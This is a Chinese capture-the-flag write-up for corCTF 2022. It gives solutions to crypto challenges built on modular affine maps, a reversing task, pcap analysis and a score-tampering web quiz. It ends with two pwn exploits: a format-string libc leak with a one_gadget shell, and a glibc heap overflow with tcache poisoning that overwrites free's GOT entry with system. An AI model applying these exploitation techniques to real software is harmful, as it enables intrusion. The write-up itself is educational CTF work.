现充|junyu33

corctf2022 wp

把各个方向的简单题给摸完了。

当然这样是不行的。

tadpole

题面:

from Crypto.Util.number import bytes_to_long, isPrime
from secrets import randbelow

p = bytes_to_long(open("flag.txt", "rb").read())
assert isPrime(p)

a = randbelow(p)
b = randbelow(p)

def f(s):
    return (a * s + b) % p

print("a = ", a)
print("b = ", b)
print("f(31337) = ", f(31337))
print("f(f(31337)) = ", f(f(31337)))

下减上得:

a(fs)fff(modp)

左右相减是p的倍数,分解质因数即可(其实就是质数)。

luckyguess

#!/usr/local/bin/python
from random import getrandbits

p = 2**521 - 1
a = getrandbits(521)
b = getrandbits(521)
print("a =", a)
print("b =", b)

try:
    x = int(input("enter your starting point: "))
    y = int(input("alright, what's your guess? "))
except:
    print("?")
    exit(-1)

r = getrandbits(20)
for _ in range(r):
    x = (x * a + b) % p

if x == y:
    print("wow, you are truly psychic! here, have a flag:", open("flag.txt").read())
else:
    print("sorry, you are not a true psychic... better luck next time")

使用不动点,构造 x使xxa+b(modp)

pbx(a1)(modp)

x(a1)1(pb)(modp),直接gmpy2.invert即可。

exchanged

from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256
from secrets import randbelow

p = 142031099029600410074857132245225995042133907174773113428619183542435280521982827908693709967174895346639746117298434598064909317599742674575275028013832939859778024440938714958561951083471842387497181706195805000375824824688304388119038321175358608957437054475286727321806430701729130544065757189542110211847
a = randbelow(p)
b = randbelow(p)
s = randbelow(p)

print("p =", p)
print("a =", a)
print("b =", b)
print("s =", s)

a_priv = randbelow(p)
b_priv = randbelow(p)

def f(s):
    return (a * s + b) % p

def mult(s, n):
    for _ in range(n):
        s = f(s)
    return s

A = mult(s, a_priv)
B = mult(s, b_priv)

print("A =", A)
print("B =", B)

shared = mult(A, b_priv)
assert mult(B, a_priv) == shared

flag = open("flag.txt", "rb").read()
key = sha256(long_to_bytes(shared)).digest()[:16]
iv = long_to_bytes(randint(0, 2**128))
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
print(iv.hex() + cipher.encrypt(pad(flag, 16)).hex())

(以下相等默认在模p的条件下)

mult展开得:

A=axs+i=0x1aibB=ays+i=0y1aib

推一下式子可得:

shared=ayA+Bays

将B错位相减得:

ay+1say(bs)b=B(a1)ay=(AaA+b)(b+ass)1

故可求得shared.

注意aes CBC模式的key与iv都是大端序。

from Crypto.Util.number import *
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256
from secrets import randbelow
from gmpy2 import *

p = ...
a = ...
b = ...
s = ...
A = ...
B = ...
iv = 0xe0364f9f55fc27fc46f3ab1dc9db48fa
enc = 0x482eae28750eaba12f4f76091b099b01fdb64212f66caa6f366934c3b9929bad37997b3f9d071ce3c74d3e36acb26d6efc9caa2508ed023828583a236400d64e
iv = iv.to_bytes(16, 'big')
enc = enc.to_bytes(64, 'big')

a_y = (B*(a-1)+b) * invert((b+a*s-s), p) % p
shared = (a_y*A+B+(p-a_y)*s) % p

key = sha256(long_to_bytes(shared)).digest()[:16]
cipher = AES.new(key, AES.MODE_CBC, iv=iv)
plain = cipher.decrypt(enc)
print(plain)

Microsoft ❤️ Linux

前半部分直接ida加载32位elf格式,将指定范围的bytes ror 13即可。(其实就是ror 5

后半部分ida用二进制模式打开,选择16位,可以发现是dos指令,加密方式是xor 13,长度为18,然而加密范围好像有点问题。

密文只可能存在于0x210~0x233之间,整个异或13之后发现后18位像flag,与前面拼接即可。

whack-a-frog

拿到一个pcap文件,查看发现有很多get请求。

先提取这些get请求:

cat whacking-the-froggers.pcap| grep -a 'anticheat?x=' > in

其中都含有x坐标和y坐标。使用正则表达式提取:

from pwn import *
import re
io = open('in', 'rb')
out = open('out', 'w')
x = []
y = []
for i in range(10000):
   get = io.readline()
   if len(re.findall(rb'x=\d+', get)) > 0:
      print(int(re.findall(rb'x=\d+', get)[0][2:]), 
            int(re.findall(rb'y=\d+', get)[0][2:]), file=out)

然后用c语言转换成字符画,结果之前把x和y搞反了:

#include <stdio.h>
#include <stdlib.h>
int mp[600][600];
int main()
{
  freopen("out", "r", stdin);
  freopen("flag", "w", stdout);
  int x, y;
  for (int i = 0; i < 2204; i++)
  {
    scanf("%d %d", &x, &y);
    // mp[x][y] = 1;
    mp[y][x] = 1;
  }
  for (int i = 0; i < 600; i++) 
  {
    for (int j = 0; j < 600; j++)
      if (mp[i][j])
        printf("0");
      else
        printf(" ");
    printf("\n");
  }
  return 0;
}

gedit缩小查看,发现笔画大致是对的,那应该就是flag了。

jsonquiz

最后提交分数的时候抓包把score=0改为score=100即可。

babypwn

$ one_gadget /usr/lib/x86_64-linux-gnu/libc.so.6
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

内平栈,格式化字符串泄露libc。由于r12和r15都在栈上,最后把缓冲区换成全0的内存地址,one_gadget一把即可。

def exploit():
   io.sendline('%7$p')
   io.recvuntil('Hi, ')
   libc_base = int(io.recv(14), 16) - 0x6bc0 - (0x9c000 - 0xa4000) # 0x6bc0 is from IDA func _$LT$str$u20$as$u20$core..fmt..Display$GT$::fmt::he0adfaca1b7317bf which is in main, and the latter offset is from debugging
   zero = libc_base + 8
   one_gadget = 0xe3afe
   payload = p64(zero)*12 + p64(libc_base+one_gadget)
   io.sendline(payload)

cshell2(赛后补的)

libc 2.36的heap overflow+tcache poisoning,由于libc 2.36跟2.35的安全机制没啥区别,就用本地的2.35做了。

io是真的硬伤。

# all io.sendline() or the stream will stuck

def decrypt_pointer(leak: int) -> int:
    parts = []

    parts.append((leak >> 36) << 36)
    parts.append((((leak >> 24) & 0xFFF) ^ (parts[0] >> 36)) << 24)
    parts.append((((leak >> 12) & 0xFFF) ^ ((parts[1] >> 24) & 0xFFF)) << 12)

    return parts[0] | parts[1] | parts[2]

def exploit():
   # leak libc
   add(0, 1032, '//bin/sh\0', '', '', 0, '')
   add(1, 1032, '', '', '', 0, '')

   for i in range(2, 11):
      add(i, 1032, '', '', '', 0, '')
   for i in range(2, 9):
      dele(i)

   dele(1) # unsortedbin
   edit(0, '', '', '', 0, b'a'*(1032-64+7)) # last byte is for '\n'
   show(0)

   libc_base = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['main_arena'] - 0x60
   # 0x1f2ce0 in glibc-2.35
   log.success('libc_base: ' + hex(libc_base))

   # leak heap
   add(11, 1032, '', '', '', 0, '') #8
   dele(9)
   edit(11, '', '', '', 0, b'b'*(1032-64)+b'abcdefg')
   show(11)
   io.recvuntil('abcdefg\n')
   heap_base = decrypt_pointer(u64(io.recvuntil(b'1 Add\n')[:-6].ljust(8, b'\x00'))) - 0x1000
   log.success('heap_base: ' + hex(heap_base))
   
   # getshell
   fake_chunk = b'c'*(1032-64)+p64(0x411)+p64(((heap_base+0x2730)>>12)^0x404010) # buf overflow, make the chunk aligned to 16 bytes
   edit(11, '', '', '', 0, fake_chunk)
   add(12, 1032, '', '', '', 0, '') # nothing

   io.sendline('1') # 0x2730 = 0x250 + 0x410*9 + 0x10 + 0x40
   io.sendline('13')
   io.sendline('1032')
   io.send('n1rvana') # since we make the chunk at 0x401010, it's null and we can fill anything
   io.send(p64(libc_base+libc.sym['system'])) # where the free.got is
   io.send(p64(libc_base+libc.sym['puts'])) # keeping the same
   io.sendline('0') 
   io.send(p64(libc_base+libc.sym['scanf'])) # keeping the same
   dele(0)